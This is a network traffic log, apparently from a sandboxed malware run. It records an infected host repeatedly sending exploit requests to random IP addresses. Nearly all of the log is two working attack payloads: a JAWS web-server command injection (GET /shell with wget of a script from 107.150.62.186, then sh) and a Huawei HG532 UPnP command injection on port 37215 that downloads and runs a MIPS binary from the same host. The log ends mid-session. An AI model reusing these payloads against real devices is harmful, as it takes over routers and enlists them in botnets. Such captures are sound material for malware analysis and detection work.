Jan 5, 2025 14:34:53.041860104 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.13	50644	167.80.67.59	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.042915106 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.13	47258	191.71.162.219	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.043739080 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.13	54932	196.192.115.255	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.044572115 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.13	57274	154.179.240.225	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.045341015 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.13	49294	172.222.47.240	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.046305895 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.13	47698	125.253.31.3	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.047188044 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.13	50742	186.171.85.18	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.048039913 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.13	51310	86.6.121.248	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.049277067 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.13	35174	148.26.74.211	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.749640942 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.13	40204	197.87.222.2	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.749759912 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.13	57548	91.43.249.211	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.751277924 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.13	48668	156.59.131.59	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.751493931 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.13	43754	75.150.125.115	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.752935886 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.13	37312	197.54.31.40	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.753163099 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.13	58414	165.35.35.169	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.754717112 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.13	43238	156.211.32.141	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.754909992 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.13	47658	132.86.162.206	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.756311893 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.13	50372	156.218.187.106	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.756552935 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.13	44760	67.218.1.210	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.758114100 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.13	51530	197.59.249.211	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.758385897 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.13	50230	197.10.74.211	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.759732962 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.13	53592	156.224.24.81	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.760396957 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.13	35014	41.126.221.108	37215

Timestamp	Bytes transferred	Direction	Data
